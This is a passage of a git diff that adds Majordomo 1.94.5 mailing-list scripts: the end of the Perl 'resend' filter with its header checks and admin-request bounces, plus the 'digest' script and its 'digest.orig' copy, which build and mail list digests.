defined($opt_a)) { + $approved = &chop_nl($1); + if ($approved ne $opt_a && + !(&main'valid_passwd($listdir, $opt_l, $approved))) { + &bounce("Invalid 'Approved:' header"); + } + } elsif (/^from /i # skip all these headers + || /^sender:/i + || /^return-receipt-to:/i + || /^errors-to:/i + || /^return-path:/i + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^\s/ && ! $kept_last) # skip if skipped last + ) { + # reset $kept_last in case next line is continuation + $kept_last = 0; + } else { + # check for administrivia requests + if (defined($opt_s) && ! defined($approved) + && (/^subject:\s*subscribe\b/i || + /^subject:\s*unsubscribe\b/i || + /^subject:\s*help\b/i || + /^subject:\s*RCPT:\b/ || + /^subject:\s*Delivery Confirmation\b/ || + /^subject:\s*NON-DELIVERY of:/ || + /^subject:\s*Undeliverable Message\b/ || + /^subject:\s*Receipt Confirmation\b/ || + /^subject:\s*Failed mail\b/ || + /^subject:\s.*\bchange\b.*\baddress\b/ || + /^subject:\s*request\b.*\baddition\b/i)) { + &bounce("Admin request"); + } + + # prepend subject prefix + if ( (/^subject:\s*/i) && + ($config_opts{$opt_l,"subject_prefix"} ne '') + ) { + local($foo) = &config'substitute_values( + $config_opts{$opt_l,"subject_prefix"}, $opt_l); +# for sequencing we add a special keyword! + if (defined($opt_n)) { + $foo =~ s/\$SEQNUM/$seqnum/; + } + $subject = $_; + $subject =~ s/^subject:\s*(.*)/$1/i; + $subject = &chop_nl($foo . " " . $subject); + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:\s*/Subject: $foo /i if !/$foo_pat/; + } + + if ( /^from:\s*(.+)/i ) + { + $from = $1; + $from_last = 1; + } + elsif ( defined($from_last) ) + { + if ( /^\s+(.+)/ ) + { + $from .= " $1"; + } + else + { + undef($from_last); + } + } + &check_hdr_line($_); # check for length & balance + $kept_last = 1; + print OUT $_; + } + } else { + # this isn't a header line, so print it (maybe) + # first, though, is the first line of the body an "Approved:" line? + if (($body_len == 0) && /^approved:\s*(.*)/i && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a && + !(&main'valid_passwd($listdir, $opt_l, $approved))) { + &bounce("Invalid 'Approved:' header"); + } else { + # Yes, it's a valid "Approved:" line... + # So, we start over + $restart = 1; + close(OUT); + unlink("/tmp/sequencer.$$.out"); + &open_temp(OUT, "/tmp/sequencer.$$.out") || + &abort("sequencer:2 Can't open /tmp/sequencer.$$.out: $!"); + last; + } + } + $body_len += length($_); + # make sure it doesn't make the message too long + if (defined($opt_M) && ! defined($approved) + && ($body_len > $opt_M)) { + &bounce("Message too long (>$opt_M)"); + } + # add admin-request recognition heuristics here... (body) + if (defined($opt_s) && ! defined($approved) && ($body_line++ < 5) && ( + /\badd me\b/i + || /\bdelete me\b/i || /\bremove\s+me\b/i + || /\bchange\b.*\baddress\b/ + || /\bsubscribe\b/i || /^sub\b/i + || /\bunsubscribe\b/i || /^unsub\b/i + || /^\s*help\s*$/i # help + || /^\s*info\s*$/i # info + || /^\s*info\s+\S+\s*$/i # info list + || /^\s*lists\s*$/i # lists + || /^\s*which\s*$/i # which + || /^\s*which\s+\S+\s*$/i # which address + || /^\s*index\s*$/i # index + || /^\s*index\s+\S+\s*$/i # index list + || /^\s*who\s*$/i # who + || /^\s*who\s+\S+\s*$/i # who list + || /^\s*get\s+\S+\s*$/i # get file + || /^\s*get\s+\S+\s+\S+\s*$/i # get list file + || /^\s*approve\b/i + || /^\s*passwd\b/i + || /^\s*newinfo\b/i + || /^\s*config\b/i + || /^\s*newconfig\b/i + || /^\s*writeconfig\b/i + || /^\s*mkdigest\b/i + )) { + &bounce("Admin request"); + } + print OUT $_; + } + } +} while ($restart); + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); + $footer =~ s/\001/\n/g; + print OUT $footer; +} + +close(OUT); + +if ( defined($opt_I) && defined($from) && ! defined($approved) ) { + local($infile) = 0; + + @files = split (/[:\t\n]+/, $opt_I); + + foreach $file (@files) { + if ($file !~ /^\//) { + $file = "$listdir/$file"; + } + if ( open (LISTFD, "<${file}") != 0 ) { + @output = grep (&addr_match($from, $_), ); + close (LISTFD); + + if ( $#output != -1 ) { + $infile = 1; + last; + } + } else { + die("sequencer:Can't open $file: $!"); + } + } + + if ( $infile == 0 ) { + &bounce ("Non-member submission from [$from]"); + } +} + +if (defined($opt_A) && ! defined($approved)) { + &bounce("Approval required"); +} + +$sendmail_cmd = "/usr/lib/sendmail $opt_m -f$sendmail_sender " . + join(" ", @ARGV); + +if (defined($opt_d)) { + $| = 1; + print "Command: $sendmail_cmd\n"; + $status = (system("cat /tmp/sequencer.$$.out") >> 8); + unlink(); + +#remember to unlock the sequence file here! + if (defined($opt_n)) { + &main'lclose(SEQ); + } + exit($status); +} else { + local(*MAILOUT, *MAILIN, @mailer); + @mailer = split(' ', "$sendmail_cmd"); + open(MAILOUT, "|-") || &do_exec_sendmail(@mailer); +# create archival copy + if (defined($opt_N)) { + if (open (INDEX, ">>$filedir/$opt_l$filedir_suffix/INDEX")) { + $timenow = localtime(time); + printf(INDEX "%s\n\tFrom %s on %s\n", $subject, $from, $timenow); + close (INDEX); + } + open (ARCHIVE, ">$filedir/$opt_l$filedir_suffix/$seqnum"); + } + open(MAILIN, "/tmp/sequencer.$$.out"); + while () { + print MAILOUT $_; + if (defined($opt_N)) { + print ARCHIVE $_; + } + } + close(MAILOUT); + if (defined($opt_N)) { + close(ARCHIVE); + } + if (defined($opt_n)) { + $seqnum++; + &main'lreopen(SEQ, ">", "$seqfile"); + print SEQ $seqnum, "\n"; + &main'lclose(SEQ); + } + close(MAILIN); + unlink(); + exit(0); +} + +sub check_balance { + # set a temporary variable + local($t) = shift; + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > 128) && ! defined($approved)) { + &bounce("Header line too long (>128)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > 1024) && ! defined($approved)) { + &bounce("Header field too long (>1024)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local($reason) = shift; + local($_); + + &resend_sendmail(BOUNCE, $sender, "BOUNCE $opt_l@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(); + exit(0); +} + +sub resend_sendmail { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + for (@to) { + $_ = join(", ", &ParseAddrs($_)); + } + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> /usr/lib/sendmail -f$sendmail_sender -t\n"; + } else { + local(@mailer) = split(' ',"/usr/lib/sendmail -f$sendmail_sender -t"); + open(MAIL, "|-") || &do_exec_sendmail(@mailer); + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/update/scripts/packages/majordomo-1.94.5/digest b/update/scripts/packages/majordomo-1.94.5/digest new file mode 100644 index 0000000..e16d632 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/digest @@ -0,0 +1,504 @@ +#!/bin/perl + +# Original from J Greely , 9/30/92 +# +# Heavily modified by Brent Chapman + +# $Source: /sources/cvsrepos/majordomo/digest,v $ +# $Revision: 1.24 $ +# $Date: 2000/01/07 11:04:34 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/digest,v 1.24 2000/01/07 11:04:34 cwilson Exp $ +# +# + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_digest'; # '; + + +&init; +&readconfig; +$TEMP = (defined $TMPDIR && -d $TMPDIR) ? + "$TMPDIR/digest.$$" : "/usr/tmp/digest.$$"; + +if (defined($opt_r)) { + &receive_message; + if (&should_be_sent(1)) { + &make_digest; + } +} elsif (defined($opt_R)) { + &receive_message; +} elsif (defined($opt_m)) { + &make_digest; +} elsif (defined($opt_p)) { + if (&should_be_sent(1)) { + &make_digest; + } +} else { + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); +} + +&free_lock($lockfile); + +exit(0); + +sub receive_message { + $i = 0; + do { + $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); + + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + + # copy the message + while () { + print MSG $_; + } + + close(MSG); +} + +# +# Use config variables to determine if a digest should be contructed +# and sent, or not. Measures line count and byte count of messages +# as they would appear in the digest, not as they exist in the spool +# dir. Side-effect: $file is the last file that should be included +# in this digest, based on the config variables. +# +sub should_be_sent { + # fudge factors for headers and footers + $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); + $lines = 25 + ($HEADER =~ s/\n/\n/g) + ($HEADERS =~ s/\n/\n/g) + + ($TRAILER =~ s/\n/\n/g); + ##print "start: lines = $lines\n"; + $i = shift; + while (1) { + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, $i++); + last unless (-e $nextfile); + $file = $nextfile; + open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); + + $/ = ''; # grab the header + $head = ; + + # only count From/Date/Subject header fields to get a + # more accurate size and line count. + $head =~ s/\n\s+/ /g; + $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); + $sum++, $lines++; + + # count the body of the message + undef $/; + $body = ; + $sum += length($body); + $lines += ($body =~ s/\n/\n/g); # count newlines + + $/ = "\n"; + close(COUNT); + $sum += length($EB) + 3, $lines += 3; # account for message delimiter + + ##printf "After message %03d, lines = $lines\n", $i-1; + + if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { + return(1); + } + if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { + return(1); + } + if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { + return(1); + } + } + + return(0); +} + +# +# Loop through calling 'should_be_sent' to find out how large each digest +# should be and calling send_digest to construct and send each digest. +# All the files in the spool directory are sent. This could be modified +# to only send "complete" digests. +# +# Note that this will quietly terminate if there are no messages in the +# spool. I find this preferable to an abort. +# +sub make_digest { + # disable age detection + $V{'MAX_AGE'} = 0; + # use 'should_be_sent' to find out how large each digest should be + # and loop through the spool dir until it's empty + $fnum = 0; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + while (-e $nextfile) { + # starts at $fnum, sets '$file' to the last file to use + &should_be_sent($fnum); + &send_digest($file); + ($fnum) = $file =~ m#/(\d+)$#; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + $NUMBER++; + } + + if (! $opt_d) { + if ( ! defined($opt_C) ) { + open(NUM_FILE, ">$V{'NUM_FILE'}") || + &abort("open(NUM_FILE, \">$NUM_FILE\"): $!"); + printf NUM_FILE "%d\n", $NUMBER; + close(NUM_FILE); + } else { # hurrah we are using the majordomo config file + $config_opts{$opt_l,"digest_issue"} = $NUMBER; + &config'writeconfig($listdir, $opt_l); + } + } +} + +# +# Contruct and send a digest using files in the spool directory up to and +# including the "last file" specified as the first argument. +# +sub send_digest { + local($lastfile) = shift; + if (opendir(DIR, $V{'INCOMING'})) { + @files = grep(/^\d+$/, readdir(DIR)); + closedir(DIR); + } + else { + &abort("Error opening $V{'INCOMING'}: $!\nStopped "); + } + &abort("No messages.\nStopped ") unless @files; + open(TEMP,">$TEMP") || &abort("$TEMP: $!\n"); + print STDERR "producing $V{'NAME'} V$VOLUME #$NUMBER\n"; + foreach (sort(@files)) { + $message = "$V{'INCOMING'}/$_"; + open(message) || &abort("$message: $!\n"); + print STDERR "\tprocessing $message\n"; + push(@processed,$message); + + $/ = ''; + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; + $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; + ($from) = $head =~ /^From:\s+(.*)/i; + ($date) = $head =~ /^Date:\s+(.*)/i; + + undef $/; + $body = ; + close(message); + + # trim message fronter and footers inserted by resend in + # non digest version of list + if ($RMHEADER) { + $body =~ s/$RMHEADER/\n/; + } + if ($RMTRAILER) { + $body =~ s/$RMTRAILER/\n/; + } + + # escape ^From ... + $body =~ + s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; + $body =~ s/^-/- -/g; # escape encapsulation boundaries in message + # trim trailing \n's + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + + $/ = "\n"; + +## note -- RFC 1153 claims the following headers should be retained, and +## presented in the following order: +## Date:, From:, To:, Cc:, Subject:, Message-ID:, and Keywords: + + push(@subj,$subj); + print TEMP <$DIGEST") || &abort("open(DIGEST, \">$DIGEST\"): $!"); + + print DIGEST <; + close(TEMP); + unlink($TEMP); + + $end = sprintf("End of %s V%d #%d", $V{'NAME'}, $VOLUME, $NUMBER); + print DIGEST $end, "\n"; + print DIGEST "*" x length($end), "\n"; + print DIGEST "\n"; + print DIGEST $TRAILER; + + close(DIGEST); + + if ($opt_d) { + warn "digest output in $TMPDIR/testdigest.$NUMBER\n"; + } else { + $sender = $V{'ERRORS-TO'}; + $mailcmd = eval qq/"$mailer"/; + system("$mailcmd $V{'REALLY-TO'} < $DIGEST"); + foreach $file (@processed) { + unlink($file); + } + } + + undef @subj; + undef @processed; + + return 0; +} + +sub init { + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); + &getopt("drRmpc:Cl:z") || + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $SIG{'INT'} = 'cleanup'; + @MONTHS = ("January","February","March","April","May","June","July", + "August","September","October","November","December"); + @DAYS = ("Sunday","Monday","Tuesday","Wednesday","Thursday", + "Friday","Saturday"); + $EB = "-" x 30; +} + +sub readconfig { + if (defined($opt_C)) { + if (!defined($opt_l)) { + &abort("-C used without -l"); + } else { + # Read and execute the .cf file + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; + require "$cf"; + + chdir($homedir); + + $opt_l =~ tr/A-Z/a-z/; + + require "config_parse.pl"; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + + # get the digest config file + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); + + # get details of parent list footers and headers + if ($config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_fronter"}); + $RMHEADER = $config_opts{$config_opts{$opt_l,"digest_rm_fronter"}, + "message_fronter"}; + $RMHEADER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMHEADER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMHEADER =~ s/\001/\\n/g; + } + if ($config_opts{$opt_l,"digest_rm_footer"}) { + if ($config_opts{$opt_l,"digest_rm_footer"} ne + $config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_footer"}); + } + $RMTRAILER = $config_opts{$config_opts{$opt_l,"digest_rm_footer"}, + "message_footer"}; + $RMTRAILER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMTRAILER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMTRAILER =~ s/\001/\\n/g; + } + + # map config opts to internal variables and $V array + $HEADER = $config_opts{$opt_l,"message_fronter"}; + $HEADER =~ s/\001/\n/g; + $TRAILER = $config_opts{$opt_l,"message_footer"}; + $TRAILER =~ s/\001/\n/g; + $VOLUME = $config_opts{$opt_l,"digest_volume"}; + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); + $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; + $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; + $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; + $V{'REALLY-TO'} = $ARGV[0]."@".${whereami}; + $V{'REPLY-TO'} = $config_opts{$opt_l,"reply_to"}; + $V{'TO'} = "$opt_l\@$whereami"; + + # make the headers keyword work + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + $from = $V{'FROM'}; + $HEADERS = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $HEADERS =~ s/\001/\n/g; + } + } # list is defined + } else { # not using -C + require "config_parse.pl"; + +# Define all of the mailer properties: +# The majordomo.cf file isn't used in this option, so fake everything. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -fmajordomo-owner -t" + unless defined $bounce_mailer; +&set_abort_addr("majordomo-owner"); +&set_mail_from("majordomo-owner"); +&set_mail_sender("majordomo-owner"); +&set_mailer($bounce_mailer); + + open(config) || &abort("$config: $!\n"); + while () { + next if /^\s*$|^\s*#/; + chop; + ($key,$value) = split(/\s*=\s*/,$_,2); + $V{$key} = $value; + } + close(config); + + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); + $HEADER = join("",

    ); + close(header); + + open(trailer,$V{'TRAILER'}) || &abort("$V{'TRAILER'}: $!\n"); + $TRAILER = join("",); + close(trailer); + + open(VOL_FILE,$V{'VOL_FILE'}) || &abort("$V{'VOL_FILE'}: $!\n"); + $VOLUME = join("",); + chop($VOLUME); + close(VOL_FILE); + + open(NUM_FILE,$V{'NUM_FILE'}) || &abort("$V{'NUM_FILE'}: $!\n"); + $NUMBER = join("",); + chop($NUMBER); + close(NUM_FILE); + + } # end not using -C +} + +#my favorite of the existing getopt routines; twisted +# +sub getopt { + local($_,%opt,$rest) = (split(/([^:])/,$_[0]),''); + while ($_ = $ARGV[0], /^-(.)/ && shift(@ARGV)) { + $rest = $'; + last if $1 eq '-'; + if (!defined $opt{$1}) { + warn "Unrecognized switch \"-$1\".\n"; + return 0; + }elsif ($opt{$1}) { + $rest = shift(@ARGV) if $rest eq ''; + eval "\$opt_$1 = \$rest"; + }else{ + eval "\$opt_$1 = 1"; + $rest =~ /^(.)/; + redo if $rest ne ''; + } + } + return 1; +} + +sub cleanup { + unlink($TEMP); + exit(1); +} + +sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + $year += 1900; + return("$DAYS[$wday], $MONTHS[$mon] $mday $year"); +} + +sub abort { + local($msg) = shift; + + &free_lock($lockfile) if $lock_set; + die($msg); +} diff --git a/update/scripts/packages/majordomo-1.94.5/digest.orig b/update/scripts/packages/majordomo-1.94.5/digest.orig new file mode 100644 index 0000000..61680b3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/digest.orig @@ -0,0 +1,503 @@ +#!/bin/perl + +# Original from J Greely , 9/30/92 +# +# Heavily modified by Brent Chapman + +# $Source: /sources/cvsrepos/majordomo/digest,v $ +# $Revision: 1.24 $ +# $Date: 2000/01/07 11:04:34 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/digest,v 1.24 2000/01/07 11:04:34 cwilson Exp $ +# +# + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_digest'; # '; + + +&init; +&readconfig; +$TEMP = (defined $TMPDIR && -d $TMPDIR) ? + "$TMPDIR/digest.$$" : "/usr/tmp/digest.$$"; + +if (defined($opt_r)) { + &receive_message; + if (&should_be_sent(1)) { + &make_digest; + } +} elsif (defined($opt_R)) { + &receive_message; +} elsif (defined($opt_m)) { + &make_digest; +} elsif (defined($opt_p)) { + if (&should_be_sent(1)) { + &make_digest; + } +} else { + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); +} + +&free_lock($lockfile); + +exit(0); + +sub receive_message { + $i = 0; + do { + $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); + + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + + # copy the message + while () { + print MSG $_; + } + + close(MSG); +} + +# +# Use config variables to determine if a digest should be contructed +# and sent, or not. Measures line count and byte count of messages +# as they would appear in the digest, not as they exist in the spool +# dir. Side-effect: $file is the last file that should be included +# in this digest, based on the config variables. +# +sub should_be_sent { + # fudge factors for headers and footers + $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); + $lines = 25 + ($HEADER =~ s/\n/\n/g) + ($HEADERS =~ s/\n/\n/g) + + ($TRAILER =~ s/\n/\n/g); + ##print "start: lines = $lines\n"; + $i = shift; + while (1) { + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, $i++); + last unless (-e $nextfile); + $file = $nextfile; + open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); + + $/ = ''; # grab the header + $head = ; + + # only count From/Date/Subject header fields to get a + # more accurate size and line count. + $head =~ s/\n\s+/ /g; + $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); + $sum++, $lines++; + + # count the body of the message + undef $/; + $body = ; + $sum += length($body); + $lines += ($body =~ s/\n/\n/g); # count newlines + + $/ = "\n"; + close(COUNT); + $sum += length($EB) + 3, $lines += 3; # account for message delimiter + + ##printf "After message %03d, lines = $lines\n", $i-1; + + if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { + return(1); + } + if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { + return(1); + } + if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { + return(1); + } + } + + return(0); +} + +# +# Loop through calling 'should_be_sent' to find out how large each digest +# should be and calling send_digest to construct and send each digest. +# All the files in the spool directory are sent. This could be modified +# to only send "complete" digests. +# +# Note that this will quietly terminate if there are no messages in the +# spool. I find this preferable to an abort. +# +sub make_digest { + # disable age detection + $V{'MAX_AGE'} = 0; + # use 'should_be_sent' to find out how large each digest should be + # and loop through the spool dir until it's empty + $fnum = 0; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + while (-e $nextfile) { + # starts at $fnum, sets '$file' to the last file to use + &should_be_sent($fnum); + &send_digest($file); + ($fnum) = $file =~ m#/(\d+)$#; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + $NUMBER++; + } + + if (! $opt_d) { + if ( ! defined($opt_C) ) { + open(NUM_FILE, ">$V{'NUM_FILE'}") || + &abort("open(NUM_FILE, \">$NUM_FILE\"): $!"); + printf NUM_FILE "%d\n", $NUMBER; + close(NUM_FILE); + } else { # hurrah we are using the majordomo config file + $config_opts{$opt_l,"digest_issue"} = $NUMBER; + &config'writeconfig($listdir, $opt_l); + } + } +} + +# +# Contruct and send a digest using files in the spool directory up to and +# including the "last file" specified as the first argument. +# +sub send_digest { + local($lastfile) = shift; + if (opendir(DIR, $V{'INCOMING'})) { + @files = grep(/^\d+$/, readdir(DIR)); + closedir(DIR); + } + else { + &abort("Error opening $V{'INCOMING'}: $!\nStopped "); + } + &abort("No messages.\nStopped ") unless @files; + open(TEMP,">$TEMP") || &abort("$TEMP: $!\n"); + print STDERR "producing $V{'NAME'} V$VOLUME #$NUMBER\n"; + foreach (@files) { + $message = "$V{'INCOMING'}/$_"; + open(message) || &abort("$message: $!\n"); + print STDERR "\tprocessing $message\n"; + push(@processed,$message); + + $/ = ''; + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; + $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; + ($from) = $head =~ /^From:\s+(.*)/i; + ($date) = $head =~ /^Date:\s+(.*)/i; + + undef $/; + $body = ; + close(message); + + # trim message fronter and footers inserted by resend in + # non digest version of list + if ($RMHEADER) { + $body =~ s/$RMHEADER/\n/; + } + if ($RMTRAILER) { + $body =~ s/$RMTRAILER/\n/; + } + + # escape ^From ... + $body =~ + s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; + $body =~ s/^-/- -/g; # escape encapsulation boundaries in message + # trim trailing \n's + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + + $/ = "\n"; + +## note -- RFC 1153 claims the following headers should be retained, and +## presented in the following order: +## Date:, From:, To:, Cc:, Subject:, Message-ID:, and Keywords: + + push(@subj,$subj); + print TEMP <$DIGEST") || &abort("open(DIGEST, \">$DIGEST\"): $!"); + + print DIGEST <; + close(TEMP); + unlink($TEMP); + + $end = sprintf("End of %s V%d #%d", $V{'NAME'}, $VOLUME, $NUMBER); + print DIGEST $end, "\n"; + print DIGEST "*" x length($end), "\n"; + print DIGEST "\n"; + print DIGEST $TRAILER; + + close(DIGEST); + + if ($opt_d) { + warn "digest output in $TMPDIR/testdigest.$NUMBER\n"; + } else { + $sender = $V{'ERRORS-TO'}; + $mailcmd = eval qq/"$mailer"/; + system("$mailcmd $V{'REALLY-TO'} < $DIGEST"); + unlink(@processed); + } + + undef @subj; + undef @processed; + + return 0; +} + +sub init { + $* = 1; + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); + &getopt("drRmpc:Cl:z") || + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $SIG{'INT'} = 'cleanup'; + @MONTHS = ("January","February","March","April","May","June","July", + "August","September","October","November","December"); + @DAYS = ("Sunday","Monday","Tuesday","Wednesday","Thursday", + "Friday","Saturday"); + $EB = "-" x 30; +} + +sub readconfig { + if (defined($opt_C)) { + if (!defined($opt_l)) { + &abort("-C used without -l"); + } else { + # Read and execute the .cf file + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; + require "$cf"; + + chdir($homedir); + + $opt_l =~ tr/A-Z/a-z/; + + require "config_parse.pl"; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + + # get the digest config file + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); + + # get details of parent list footers and headers + if ($config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, 